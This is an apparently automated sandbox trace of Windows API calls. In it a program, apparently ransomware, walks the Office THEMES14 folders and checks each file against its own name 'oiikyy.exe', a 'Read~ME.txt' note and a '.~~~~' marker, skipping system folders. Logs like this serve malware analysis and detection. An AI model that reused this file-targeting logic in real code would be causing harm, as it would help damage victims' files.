	[0078.314] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.314] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.314] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.314] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.315] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.315] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.315] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.315] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.315] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.315] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.315] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1
	[0078.315] lstrcmpiW (lpString1="JOURNAL.ELM", lpString2="Windows") returned -1
	[0078.315] lstrcmpW (lpString1="JOURNAL.ELM", lpString2="oiikyy.exe") returned -1
	[0078.315] StrStrW (lpFirst="JOURNAL.ELM", lpSrch=".~~~~") returned 0x0
	[0078.315] lstrcmpW (lpString1="JOURNAL.ELM", lpString2="Read~ME.txt") returned -1
	[0078.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0078.315] GetCurrentThreadId () returned 0x618
	[0078.315] RtlWakeConditionVariable () returned 0x365f48
	[0078.315] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1
	[0078.315] lstrcmpiW (lpString1="JOURNAL.INF", lpString2="Windows") returned -1
	[0078.315] lstrcmpW (lpString1="JOURNAL.INF", lpString2="oiikyy.exe") returned -1
	[0078.315] StrStrW (lpFirst="JOURNAL.INF", lpSrch=".~~~~") returned 0x0
	[0078.315] lstrcmpW (lpString1="JOURNAL.INF", lpString2="Read~ME.txt") returned -1
	[0078.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0078.315] GetCurrentThreadId () returned 0x618
	[0078.315] RtlWakeConditionVariable () returned 0x365f48
	[0078.315] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.316] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.316] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.316] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.316] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0078.316] GetCurrentThreadId () returned 0x618
	[0078.316] RtlWakeConditionVariable () returned 0x365f48
	[0078.316] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.316] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.316] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.316] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.316] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.316] GetCurrentThreadId () returned 0x618
	[0078.316] RtlWakeConditionVariable () returned 0x365f48
	[0078.316] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.316] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f34a0
	[0078.317] GetCurrentThreadId () returned 0x618
	[0078.317] RtlWakeConditionVariable () returned 0x365f48
	[0078.319] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0078.319] lstrcmpiW (lpString1="LAYERS", lpString2="Windows") returned -1
	[0078.319] lstrcmpW (lpString1="LAYERS", lpString2=".") returned 1
	[0078.319] lstrcmpW (lpString1="LAYERS", lpString2="..") returned 1
	[0078.319] lstrcmpW (lpString1="LAYERS", lpString2="AppData") returned 1
	[0078.319] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", lpSrch="AppData") returned 0x0
	[0078.319] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.319] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", lpString2="C:\\Windows") returned -1
	[0078.320] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.320] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", lpString2="C:\\System Volume Information") returned -1
	[0078.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.378] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.378] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.378] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.378] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.378] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.378] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.378] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.378] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.378] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.378] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.378] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.378] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.378] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1
	[0078.378] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="Windows") returned -1
	[0078.378] lstrcmpW (lpString1="LAYERS.ELM", lpString2="oiikyy.exe") returned -1
	[0078.378] StrStrW (lpFirst="LAYERS.ELM", lpSrch=".~~~~") returned 0x0
	[0078.378] lstrcmpW (lpString1="LAYERS.ELM", lpString2="Read~ME.txt") returned -1
	[0078.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.378] GetCurrentThreadId () returned 0x618
	[0078.379] RtlWakeConditionVariable () returned 0x365f48
	[0078.379] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1
	[0078.379] lstrcmpiW (lpString1="LAYERS.INF", lpString2="Windows") returned -1
	[0078.379] lstrcmpW (lpString1="LAYERS.INF", lpString2="oiikyy.exe") returned -1
	[0078.379] StrStrW (lpFirst="LAYERS.INF", lpSrch=".~~~~") returned 0x0
	[0078.379] lstrcmpW (lpString1="LAYERS.INF", lpString2="Read~ME.txt") returned -1
	[0078.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.379] GetCurrentThreadId () returned 0x618
	[0078.379] RtlWakeConditionVariable () returned 0x365f48
	[0078.379] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.379] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.379] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.379] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.379] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.379] GetCurrentThreadId () returned 0x618
	[0078.379] RtlWakeConditionVariable () returned 0x365f48
	[0078.379] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.379] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.379] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.379] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.379] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.380] GetCurrentThreadId () returned 0x618
	[0078.380] RtlWakeConditionVariable () returned 0x365f48
	[0078.380] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.380] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3740
	[0078.380] GetCurrentThreadId () returned 0x618
	[0078.380] RtlWakeConditionVariable () returned 0x365f48
	[0078.380] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0078.380] lstrcmpiW (lpString1="LEVEL", lpString2="Windows") returned -1
	[0078.380] lstrcmpW (lpString1="LEVEL", lpString2=".") returned 1
	[0078.380] lstrcmpW (lpString1="LEVEL", lpString2="..") returned 1
	[0078.380] lstrcmpW (lpString1="LEVEL", lpString2="AppData") returned 1
	[0078.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", lpSrch="AppData") returned 0x0
	[0078.380] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.380] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", lpString2="C:\\Windows") returned -1
	[0078.380] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.380] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", lpString2="C:\\System Volume Information") returned -1
	[0078.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.386] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.387] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.387] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.387] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.387] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0078.387] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.387] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0078.387] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0078.387] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0078.387] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0078.387] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0078.387] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0078.387] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1
	[0078.387] lstrcmpiW (lpString1="LEVEL.ELM", lpString2="Windows") returned -1
	[0078.387] lstrcmpW (lpString1="LEVEL.ELM", lpString2="oiikyy.exe") returned -1
	[0078.387] StrStrW (lpFirst="LEVEL.ELM", lpSrch=".~~~~") returned 0x0
	[0078.387] lstrcmpW (lpString1="LEVEL.ELM", lpString2="Read~ME.txt") returned -1
	[0078.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.387] GetCurrentThreadId () returned 0x618
	[0078.387] RtlWakeConditionVariable () returned 0x365f48
	[0078.387] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1
	[0078.387] lstrcmpiW (lpString1="LEVEL.INF", lpString2="Windows") returned -1
	[0078.387] lstrcmpW (lpString1="LEVEL.INF", lpString2="oiikyy.exe") returned -1
	[0078.387] StrStrW (lpFirst="LEVEL.INF", lpSrch=".~~~~") returned 0x0
	[0078.388] lstrcmpW (lpString1="LEVEL.INF", lpString2="Read~ME.txt") returned -1
	[0078.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.388] GetCurrentThreadId () returned 0x618
	[0078.388] RtlWakeConditionVariable () returned 0x365f48
	[0078.388] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0078.388] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0078.388] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0078.388] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0078.388] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0078.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.388] GetCurrentThreadId () returned 0x618
	[0078.388] RtlWakeConditionVariable () returned 0x365f48
	[0078.388] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0078.388] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0078.388] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0078.388] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0078.388] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0078.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.388] GetCurrentThreadId () returned 0x618
	[0078.388] RtlWakeConditionVariable () returned 0x365f48
	[0078.388] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0078.388] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0078.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3938
	[0078.389] GetCurrentThreadId () returned 0x618
	[0078.389] RtlWakeConditionVariable () returned 0x365f48
	[0078.389] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0078.389] lstrcmpiW (lpString1="NETWORK", lpString2="Windows") returned -1
	[0078.389] lstrcmpW (lpString1="NETWORK", lpString2=".") returned 1
	[0078.389] lstrcmpW (lpString1="NETWORK", lpString2="..") returned 1
	[0078.389] lstrcmpW (lpString1="NETWORK", lpString2="AppData") returned 1
	[0078.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", lpSrch="AppData") returned 0x0
	[0078.389] lstrlenW (lpString="C:\\Windows") returned 10
	[0078.389] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", lpString2="C:\\Windows") returned -1
	[0078.389] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0078.389] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", lpString2="C:\\System Volume Information") returned -1
	[0078.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0078.389] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0078.390] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0078.390] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0078.390] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0078.390] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0078.390] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
